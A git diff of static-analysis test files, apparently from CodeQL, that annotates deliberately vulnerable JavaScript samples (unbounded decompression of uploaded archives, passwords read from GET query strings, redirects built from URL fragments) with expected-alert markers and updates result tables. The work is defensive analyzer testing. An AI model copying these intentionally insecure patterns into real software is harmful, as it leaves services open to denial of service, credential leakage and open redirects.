-| yauzl.js:12:18:12:39 | req.fil ... le.data | yauzl.js:12:18:12:26 | req.files | yauzl.js:12:18:12:39 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:12:18:12:26 | req.files | potentially untrusted source |
-| yauzl.js:13:22:13:43 | req.fil ... le.data | yauzl.js:13:22:13:30 | req.files | yauzl.js:13:22:13:43 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:13:22:13:30 | req.files | potentially untrusted source |
-| yauzl.js:14:34:14:55 | req.fil ... le.data | yauzl.js:14:34:14:42 | req.files | yauzl.js:14:34:14:55 | req.fil ... le.data | This Decompression depends on a $@. | yauzl.js:14:34:14:42 | req.files | potentially untrusted source |
-| yauzl.js:39:9:39:27 | zipfile.readEntry() | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:39:9:39:27 | zipfile.readEntry() | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
-| yauzl.js:41:64:41:73 | readStream | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:41:64:41:73 | readStream | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
-| yauzl.js:43:21:43:39 | zipfile.readEntry() | yauzl.js:37:16:37:33 | req.query.filePath | yauzl.js:43:21:43:39 | zipfile.readEntry() | This Decompression depends on a $@. | yauzl.js:37:16:37:33 | req.query.filePath | potentially untrusted source |
-| zlib.js:29:9:29:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:29:9:29:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
-| zlib.js:33:9:33:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:33:9:33:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
-| zlib.js:38:9:38:20 | zipFile.data | zlib.js:15:19:15:27 | req.files | zlib.js:38:9:38:20 | zipFile.data | This Decompression depends on a $@. | zlib.js:15:19:15:27 | req.files | potentially untrusted source |
-| zlib.js:63:21:63:32 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:63:21:63:32 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
-| zlib.js:64:20:64:31 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:64:20:64:31 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
-| zlib.js:65:31:65:42 | zipFile.data | zlib.js:17:18:17:26 | req.files | zlib.js:65:31:65:42 | zipFile.data | This Decompression depends on a $@. | zlib.js:17:18:17:26 | req.files | potentially untrusted source |
-| zlib.js:77:22:77:40 | zlib.createGunzip() | zlib.js:19:24:19:32 | req.files | zlib.js:77:22:77:40 | zlib.createGunzip() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
-| zlib.js:78:22:78:39 | zlib.createUnzip() | zlib.js:19:24:19:32 | req.files | zlib.js:78:22:78:39 | zlib.createUnzip() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
-| zlib.js:79:22:79:50 | zlib.cr ... press() | zlib.js:19:24:19:32 | req.files | zlib.js:79:22:79:50 | zlib.cr ... press() | This Decompression depends on a $@. | zlib.js:19:24:19:32 | req.files | potentially untrusted source |
-| zlib.js:87:9:87:27 | zlib.createGunzip() | zlib.js:21:32:21:40 | req.files | zlib.js:87:9:87:27 | zlib.createGunzip() | This Decompression depends on a $@. | zlib.js:21:32:21:40 | req.files | potentially untrusted source |
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.qlref
index 43c8f6043cce..d766627bef23 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/DecompressionBombs.qlref
@@ -1 +1,2 @@
-experimental/Security/CWE-522-DecompressionBombs/DecompressionBombs.ql
\ No newline at end of file
+query: experimental/Security/CWE-522-DecompressionBombs/DecompressionBombs.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/adm-zip.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/adm-zip.js
index 5370a4854acc..f34c11fa3be9 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/adm-zip.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/adm-zip.js
@@ -10,7 +10,7 @@ app.listen(port, () => {
 });
 
 app.post('/upload', (req, res) => {
-    zipBomb(req.files.zipBombFile)
+    zipBomb(req.files.zipBombFile) // $ Source
     res.send('Hello World!')
 });
 
@@ -25,13 +25,13 @@ function zipBomb(tarFile) {
     const zipEntries = admZip.getEntries();
     zipEntries.forEach(function (zipEntry) {
         if (zipEntry.entryName === "my_file.txt") {
-            console.log(zipEntry.getData().toString("utf8"));
+            console.log(zipEntry.getData().toString("utf8")); // $ Alert
         }
     });
     // outputs the content of file named 10GB
-    console.log(admZip.readAsText("10GB"));
+    console.log(admZip.readAsText("10GB")); // $ Alert
     // extracts the specified file to the specified location
-    admZip.extractEntryTo("10GB", "/tmp/", false, true);
+    admZip.extractEntryTo("10GB", "/tmp/", false, true); // $ Alert
     // extracts everything
-    admZip.extractAllTo("./tmp", true);
+    admZip.extractAllTo("./tmp", true); // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/decompress.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/decompress.js
index 360e29b2f51f..e8adba55e32d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/decompress.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/decompress.js
@@ -8,7 +8,7 @@ app.listen(3000, () => {
 });
 
 app.post('/upload', async (req, res) => {
-    decompress(req.query.filePath, 'dist').then(files => {
+    decompress(req.query.filePath, 'dist').then(files => { // $ Alert
         console.log('done!');
     });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/fflate.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/fflate.js
index 77eba7a89d76..4fb6cbd6195c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/fflate.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/fflate.js
@@ -9,17 +9,17 @@ app.listen(3000, () => {
 });
 
 app.post('/upload', async (req, res) => {
-    // NOT OK
-    fflate.unzlibSync(new Uint8Array(req.files.CompressedFile.data));
-    fflate.unzip(new Uint8Array(new Uint8Array(req.files.CompressedFile.data)));
-    fflate.unzlib(new Uint8Array(req.files.CompressedFile.data));
-    fflate.unzlibSync(new Uint8Array(req.files.CompressedFile.data));
-    fflate.gunzip(new Uint8Array(req.files.CompressedFile.data));
-    fflate.gunzipSync(new Uint8Array(req.files.CompressedFile.data));
-    fflate.decompress(new Uint8Array(req.files.CompressedFile.data));
-    fflate.decompressSync(new Uint8Array(req.files.CompressedFile.data));
+    // Not sure if these are vulnerable, but currently not modeled
+    fflate.unzlibSync(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.unzip(new Uint8Array(new Uint8Array(req.files.CompressedFile.data))); // $ MISSING: Alert
+    fflate.unzlib(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.unzlibSync(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.gunzip(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.gunzipSync(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.decompress(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+    fflate.decompressSync(new Uint8Array(req.files.CompressedFile.data)); // $ MISSING: Alert
+
 
-    // OK
     fflate.unzlibSync(new Uint8Array(req.files.CompressedFile.data), {
         filter(file) {
             return file.originalSize <= 1_000_000;
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/jszip.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/jszip.js
index 2da0757c2767..d701a9b78807 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/jszip.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/jszip.js
@@ -9,7 +9,7 @@ app.listen(port, () => {
 });
 
 app.post('/upload', (req, res) => {
-    zipBomb(req.files.zipBombFile.data)
+    zipBomb(req.files.zipBombFile.data) // $ Source
     zipBombSafe(req.files.zipBombFile.data)
     res.send("OK")
 });
@@ -30,7 +30,7 @@ function zipBombSafe(zipFile) {
 }
 
 function zipBomb(zipFile) {
-    jszipp.loadAsync(zipFile.data).then(function (zip) {
+    jszipp.loadAsync(zipFile.data).then(function (zip) { // $ Alert
         zip.files["10GB"].async("uint8array").then(function (u8) {
             console.log(u8);
         });
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js
index 53dd6c3d0a80..f4163a2a376d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/node-tar.js
@@ -12,7 +12,7 @@ app.listen(port, () => {
 });
 
 app.post('/upload', (req, res) => {
-    zipBomb(req.files.zipBombFile.data)
+    zipBomb(req.files.zipBombFile.data) // $ Source
     res.send('Hello World!')
 });
 
@@ -21,7 +21,7 @@ function zipBomb(tarFile) {
     const inputFile = Readable.from(tarFile.data);
     const outputFile = fs.createWriteStream('/tmp/untar');
     inputFile.pipe(
-        tar.x()
+        tar.x() // $ Alert
     ).pipe(outputFile);
 
     // scenario 2
@@ -30,7 +30,7 @@ function zipBomb(tarFile) {
         tar.x({
             strip: 1,
             C: 'some-dir'
-        })
+        }) // $ Alert
     )
     // safe https://github.com/isaacs/node-tar/blob/8c5af15e43a769fd24aa7f1c84d93e54824d19d2/lib/list.js#L90
     fs.createReadStream(tarFile.name).pipe(
@@ -47,7 +47,7 @@ function zipBomb(tarFile) {
     ).pipe(
         tar.x({
             cwd: "dest"
-        })
+        }) // $ Alert
     )
 
     // scenario 4
@@ -55,8 +55,8 @@ function zipBomb(tarFile) {
     // or using fs.writeFile
     // file path is a tmp file name that can get from DB after saving to DB with remote file upload
     // so the input file name will come from a DB source
-    tar.x({ file: tarFile.name })
-    tar.extract({ file: tarFile.name })
+    tar.x({ file: tarFile.name }) // $ Alert
+    tar.extract({ file: tarFile.name }) // $ Alert
     // safe https://github.com/isaacs/node-tar/blob/8c5af15e43a769fd24aa7f1c84d93e54824d19d2/lib/list.js#L90
     tar.x({
         file: tarFile.name,
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/pako.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/pako.js
index 132d08e1f90a..a5b1acefdde5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/pako.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/pako.js
@@ -9,8 +9,8 @@ app.listen(port, () => {
 });
 
 app.post('/upload', (req, res) => {
-    zipBomb1(req.files.zipBombFile.data);
-    zipBomb2(req.files.zipBombFile.data);
+    zipBomb1(req.files.zipBombFile.data); // $ Source
+    zipBomb2(req.files.zipBombFile.data); // $ Source
     res.send('Hello World!');
 });
 
@@ -18,7 +18,7 @@ function zipBomb1(zipFile) {
     const myArray = Buffer.from(new Uint8Array(zipFile.data.buffer));
     let output;
     try {
-        output = pako.inflate(myArray);
+        output = pako.inflate(myArray); // $ Alert
         console.log(output);
     } catch (err) {
         console.log(err);
@@ -29,7 +29,7 @@ function zipBomb2(zipFile) {
     const myArray = new Uint8Array(zipFile.data.buffer).buffer;
     let output;
     try {
-        output = pako.inflate(myArray);
+        output = pako.inflate(myArray); // $ Alert
         console.log(output);
     } catch (err) {
         console.log(err);
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unbzip2.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unbzip2.js
index da560ca30f1d..83c1706573a4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unbzip2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unbzip2.js
@@ -9,5 +9,5 @@ app.listen(3000, () => {
 });
 
 app.post('/upload', async (req, res) => {
-    fs.createReadStream(req.query.FilePath).pipe(bz2()).pipe(process.stdout);
+    fs.createReadStream(req.query.FilePath).pipe(bz2()).pipe(process.stdout); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unzipper.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unzipper.js
index 79e03b9c1814..ea4725fcb839 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unzipper.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/unzipper.js
@@ -10,18 +10,18 @@ app.listen(3000, () => {
 });
 
 app.post('/upload', async (req, res) => {
-    const RemoteStream = Readable.from(req.files.ZipFile.data);
+    const RemoteStream = Readable.from(req.files.ZipFile.data); // $ Source
 
     // Unsafe
-    RemoteStream.pipe(unzipper.Extract({ path: 'output/path' }));
+    RemoteStream.pipe(unzipper.Extract({ path: 'output/path' })); // $ Alert
 
     // Unsafe
-    RemoteStream.pipe(unzipper.ParseOne())
+    RemoteStream.pipe(unzipper.ParseOne()) // $ Alert
         .pipe(createWriteStream('firstFile.txt'));
 
     // Safe because of uncompressedSize
     RemoteStream
-        .pipe(unzipper.Parse())
+        .pipe(unzipper.Parse()) // $ Alert
         .on('entry', function (entry) {
             const size = entry.vars.uncompressedSize;
             if (size < 1024 * 1024 * 1024) {
@@ -31,14 +31,14 @@ app.post('/upload', async (req, res) => {
 
     // Unsafe
     RemoteStream
-        .pipe(unzipper.Parse())
+        .pipe(unzipper.Parse()) // $ Alert
         .on('entry', function (entry) {
             const size = entry.vars.uncompressedSize;
             entry.pipe(createWriteStream('output/path'));
         });
 
     // Unsafe
-    const zip = RemoteStream.pipe(unzipper.Parse({ forceStream: true }));
+    const zip = RemoteStream.pipe(unzipper.Parse({ forceStream: true })); // $ Alert
     for await (const entry of zip) {
         const fileName = entry.path;
         if (fileName === "this IS the file I'm looking for") {
@@ -48,7 +48,7 @@ app.post('/upload', async (req, res) => {
         }
     }
     // Safe
-    const zip2 = RemoteStream.pipe(unzipper.Parse({ forceStream: true }));
+    const zip2 = RemoteStream.pipe(unzipper.Parse({ forceStream: true })); // $ Alert
     for await (const entry of zip2) {
         const size = entry.vars.uncompressedSize;
         if (size < 1024 * 1024 * 1024) {
@@ -57,7 +57,7 @@ app.post('/upload', async (req, res) => {
     }
 
     // Safe  because of uncompressedSize
-    RemoteStream.pipe(unzipper.Parse())
+    RemoteStream.pipe(unzipper.Parse()) // $ Alert
         .pipe(stream.Transform({
             objectMode: true,
             transform: function (entry, e, cb) {
@@ -70,7 +70,7 @@ app.post('/upload', async (req, res) => {
         }));
 
     // Unsafe
-    RemoteStream.pipe(unzipper.Parse())
+    RemoteStream.pipe(unzipper.Parse()) // $ Alert
         .pipe(stream.Transform({
             objectMode: true,
             transform: function (entry, e, cb) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/yauzl.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/yauzl.js
index 3b726650f76f..69230afdc839 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/yauzl.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/yauzl.js
@@ -9,9 +9,9 @@ app.listen(3000, () => {
 });
 
 app.post('/upload', (req, res) => {
-    yauzl.fromFd(req.files.zipFile.data)
-    yauzl.fromBuffer(req.files.zipFile.data)
-    yauzl.fromRandomAccessReader(req.files.zipFile.data)
+    yauzl.fromFd(req.files.zipFile.data) // $ Alert
+    yauzl.fromBuffer(req.files.zipFile.data) // $ Alert
+    yauzl.fromRandomAccessReader(req.files.zipFile.data) // $ Alert
     // Safe
     yauzl.open(req.query.filePath, { lazyEntries: true }, function (err, zipfile) {
         if (err) throw err;
@@ -34,13 +34,13 @@ app.post('/upload', (req, res) => {
         });
     });
     // Unsafe
-    yauzl.open(req.query.filePath, { lazyEntries: true }, function (err, zipfile) {
+    yauzl.open(req.query.filePath, { lazyEntries: true }, function (err, zipfile) { // $ Source
         if (err) throw err;
-        zipfile.readEntry();
+        zipfile.readEntry(); // $ Alert
         zipfile.on("entry", function (entry) {
-            zipfile.openReadStream(entry, async function (err, readStream) {
+            zipfile.openReadStream(entry, async function (err, readStream) { // $ Alert
                 readStream.on("end", function () {
-                    zipfile.readEntry();
+                    zipfile.readEntry(); // $ Alert
                 });
                 const outputFile = fs.createWriteStream('testiness');
                 await pipeline(
diff --git a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/zlib.js b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/zlib.js
index 3954d9916144..e8213e0c70fd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/zlib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-522-DecompressionBombs/zlib.js
@@ -12,13 +12,13 @@ app.listen(port, () => {
 });
 
 app.post('/upload', async (req, res) => {
-    zlibBombAsync(req.files.zipBombFile.data)
+    zlibBombAsync(req.files.zipBombFile.data) // $ Source
     zlibBombAsyncSafe(req.files.zipBombFile.data);
-    zlibBombSync(req.files.zipBombFile.data)
+    zlibBombSync(req.files.zipBombFile.data) // $ Source
     zlibBombSyncSafe(req.files.zipBombFile.data)
-    zlibBombPipeStream(req.files.zipBombFile.data)
+    zlibBombPipeStream(req.files.zipBombFile.data) // $ Source
     zlibBombPipeStreamSafe(req.files.zipBombFile.data)
-    zlibBombPipeStreamPromises(req.files.zipBombFile.data).then(r =>
+    zlibBombPipeStreamPromises(req.files.zipBombFile.data).then(r => // $ Source
         console.log("sone"));
     res.send('Hello World!')
 });
@@ -26,16 +26,16 @@ app.post('/upload', async (req, res) => {
 
 function zlibBombAsync(zipFile) {
     zlib.gunzip(
-        zipFile.data,
+        zipFile.data, // $ Alert
         (err, buffer) => {
         });
     zlib.unzip(
-        zipFile.data,
+        zipFile.data, // $ Alert
         (err, buffer) => {
         });
 
     zlib.brotliDecompress(
-        zipFile.data,
+        zipFile.data, // $ Alert
         (err, buffer) => {
         });
 }
@@ -60,9 +60,9 @@ function zlibBombAsyncSafe(zipFile) {
 }
 
 function zlibBombSync(zipFile) {
-    zlib.gunzipSync(zipFile.data, { finishFlush: zlib.constants.Z_SYNC_FLUSH });
-    zlib.unzipSync(zipFile.data);
-    zlib.brotliDecompressSync(zipFile.data);
+    zlib.gunzipSync(zipFile.data, { finishFlush: zlib.constants.Z_SYNC_FLUSH }); // $ Alert
+    zlib.unzipSync(zipFile.data); // $ Alert
+    zlib.brotliDecompressSync(zipFile.data); // $ Alert
 }
 
 function zlibBombSyncSafe(zipFile) {
@@ -74,9 +74,9 @@ function zlibBombSyncSafe(zipFile) {
 function zlibBombPipeStream(zipFile) {
     const inputStream = Readable.from(zipFile.data);
     const outputFile = fs.createWriteStream('unzip.txt');
-    inputStream.pipe(zlib.createGunzip()).pipe(outputFile);
-    inputStream.pipe(zlib.createUnzip()).pipe(outputFile);
-    inputStream.pipe(zlib.createBrotliDecompress()).pipe(outputFile);
+    inputStream.pipe(zlib.createGunzip()).pipe(outputFile); // $ Alert
+    inputStream.pipe(zlib.createUnzip()).pipe(outputFile); // $ Alert
+    inputStream.pipe(zlib.createBrotliDecompress()).pipe(outputFile); // $ Alert
 }
 
 async function zlibBombPipeStreamPromises(zipFile) {
@@ -84,7 +84,7 @@ async function zlibBombPipeStreamPromises(zipFile) {
     const outputFile = fs.createWriteStream('unzip.txt');
     await stream.pipeline(
         inputStream,
-        zlib.createGunzip(),
+        zlib.createGunzip(), // $ Alert
         outputFile
     )
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-598/SensitiveGetQuery.qlref b/javascript/ql/test/query-tests/Security/CWE-598/SensitiveGetQuery.qlref
index 697a9a56f62c..66854ca82123 100644
--- a/javascript/ql/test/query-tests/Security/CWE-598/SensitiveGetQuery.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-598/SensitiveGetQuery.qlref
@@ -1 +1,2 @@
-Security/CWE-598/SensitiveGetQuery.ql
+query: Security/CWE-598/SensitiveGetQuery.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-598/tst.js b/javascript/ql/test/query-tests/Security/CWE-598/tst.js
index 778bfa36f2a0..02d4a0f0dacc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-598/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-598/tst.js
@@ -5,7 +5,7 @@ app.use(bodyParser.urlencoded({extended: true}));
 
 app.get("/login", (req, res) => {
     const username = req.query.username; // OK - usernames are fine
-    const password = req.query.password; // NOT OK - password read
+    const password = req.query.password; // $ Alert - password read
     checkUser(username, password, (result) => {
         res.send(result);
     });
@@ -22,13 +22,13 @@ app.post("/login", (req, res) => {
 });
 
 app.get("/login2", (req, res) => {
-    const username = req.param('username'); // NOT OK - usernames are fine
-    const password = req.param('password'); // NOT OK - password read
+    const username = req.param('username'); // OK - usernames are fine
+    const password = req.param('password'); // $ Alert - password read
     checkUser(username, password, (result) => {
         res.send(result);
     });
 
-    const myPassword = req.param('word'); // NOT OK - is used in a sensitive write below.
+    const myPassword = req.param('word'); // $ Alert - is used in a sensitive write below.
     checkUser(username, myPassword, (result) => {
         res.send(result);
     });
@@ -36,7 +36,7 @@ app.get("/login2", (req, res) => {
 
 app.get("/login", ({query}, res) => {
     const username = query.username; // OK - usernames are fine
-    const currentPassword = query.current; // NOT OK - password read
+    const currentPassword = query.current; // $ Alert - password read
     checkUser(username, currentPassword, (result) => {
         res.send(result);
     });
@@ -47,7 +47,7 @@ app.get('/rest/user/change-password', mkHandler());
 function mkHandler() {
     return (req, res) => {
         const username = req.param('username'); // OK - usernames are fine
-        const currentPassword = req.param('current'); // NOT OK - password read
+        const currentPassword = req.param('current'); // $ Alert - password read
         checkUser(username, currentPassword, (result) => {
             res.send(result);
         });
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected
index 98a139c2fb11..243d4b25dfdc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected
@@ -1,3 +1,227 @@
+#select
+| electron.js:7:20:7:29 | getTaint() | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | Untrusted URL redirection depends on a $@. | electron.js:4:12:4:22 | window.name | user-provided value |
+| react.js:10:60:10:91 | documen ... bstr(1) | react.js:10:60:10:81 | documen ... on.hash | react.js:10:60:10:91 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:10:60:10:81 | documen ... on.hash | user-provided value |
+| react.js:23:19:23:50 | documen ... bstr(1) | react.js:23:19:23:40 | documen ... on.hash | react.js:23:19:23:50 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:23:19:23:40 | documen ... on.hash | user-provided value |
+| react.js:31:43:31:74 | documen ... bstr(1) | react.js:31:43:31:64 | documen ... on.hash | react.js:31:43:31:74 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:31:43:31:64 | documen ... on.hash | user-provided value |
+| react.js:37:43:37:74 | documen ... bstr(1) | react.js:37:43:37:64 | documen ... on.hash | react.js:37:43:37:74 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:37:43:37:64 | documen ... on.hash | user-provided value |
+| react.js:43:19:43:50 | documen ... bstr(1) | react.js:43:19:43:40 | documen ... on.hash | react.js:43:19:43:50 | documen ... bstr(1) | Untrusted URL redirection depends on a $@. | react.js:43:19:43:40 | documen ... on.hash | user-provided value |
+| regexp-exec.js:5:28:5:33 | group1 | regexp-exec.js:4:37:4:56 | window.location.href | regexp-exec.js:5:28:5:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:4:37:4:56 | window.location.href | user-provided value |
+| regexp-exec.js:10:28:10:33 | group1 | regexp-exec.js:9:38:9:57 | window.location.href | regexp-exec.js:10:28:10:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:9:38:9:57 | window.location.href | user-provided value |
+| regexp-exec.js:30:28:30:33 | group1 | regexp-exec.js:29:24:29:43 | window.location.href | regexp-exec.js:30:28:30:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:29:24:29:43 | window.location.href | user-provided value |
+| regexp-exec.js:35:28:35:33 | group1 | regexp-exec.js:34:24:34:43 | window.location.href | regexp-exec.js:35:28:35:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:34:24:34:43 | window.location.href | user-provided value |
+| regexp-exec.js:40:28:40:33 | group1 | regexp-exec.js:39:51:39:70 | window.location.href | regexp-exec.js:40:28:40:33 | group1 | Untrusted URL redirection depends on a $@. | regexp-exec.js:39:51:39:70 | window.location.href | user-provided value |
+| sanitizer.js:4:27:4:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:4:27:4:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:16:27:16:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:16:27:16:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:19:27:19:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:19:27:19:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:22:27:22:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:22:27:22:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:25:27:25:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:25:27:25:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:28:27:28:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:28:27:28:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:31:27:31:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:31:27:31:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| sanitizer.js:37:27:37:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:37:27:37:29 | url | Untrusted URL redirection depends on a $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value |
+| tst2.js:3:21:3:55 | href.su ... '?')+1) | tst2.js:2:14:2:33 | window.location.href | tst2.js:3:21:3:55 | href.su ... '?')+1) | Untrusted URL redirection depends on a $@. | tst2.js:2:14:2:33 | window.location.href | user-provided value |
+| tst6.js:3:21:3:28 | redirect | tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:3:21:3:28 | redirect | Untrusted URL redirection depends on a $@. | tst6.js:2:18:2:45 | $locati ... irect') | user-provided value |
+| tst6.js:4:17:4:24 | redirect | tst6.js:2:18:2:45 | $locati ... irect') | tst6.js:4:17:4:24 | redirect | Untrusted URL redirection depends on a $@. | tst6.js:2:18:2:45 | $locati ... irect') | user-provided value |
+| tst6.js:5:21:5:56 | $locati ... + "foo" | tst6.js:5:21:5:48 | $locati ... irect') | tst6.js:5:21:5:56 | $locati ... + "foo" | Untrusted URL redirection depends on a $@. | tst6.js:5:21:5:48 | $locati ... irect') | user-provided value |
+| tst7.js:1:12:1:48 | documen ... ring(1) | tst7.js:1:12:1:35 | documen ... .search | tst7.js:1:12:1:48 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst7.js:1:12:1:35 | documen ... .search | user-provided value |
+| tst7.js:3:27:3:63 | documen ... ring(1) | tst7.js:3:27:3:50 | documen ... .search | tst7.js:3:27:3:63 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst7.js:3:27:3:50 | documen ... .search | user-provided value |
+| tst9.js:1:21:1:55 | documen ... ring(1) | tst9.js:1:21:1:42 | documen ... on.hash | tst9.js:1:21:1:55 | documen ... ring(1) | Untrusted URL redirection depends on a $@. | tst9.js:1:21:1:42 | documen ... on.hash | user-provided value |
+| tst10.js:4:17:4:59 | '/' + d ... ring(1) | tst10.js:4:23:4:46 | documen ... .search | tst10.js:4:17:4:59 | '/' + d ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:4:23:4:46 | documen ... .search | user-provided value |
+| tst10.js:6:17:6:60 | '//' +  ... ring(1) | tst10.js:6:24:6:47 | documen ... .search | tst10.js:6:17:6:60 | '//' +  ... ring(1) | Untrusted URL redirection depends on a $@. | tst10.js:6:24:6:47 | documen ... .search | user-provided value |
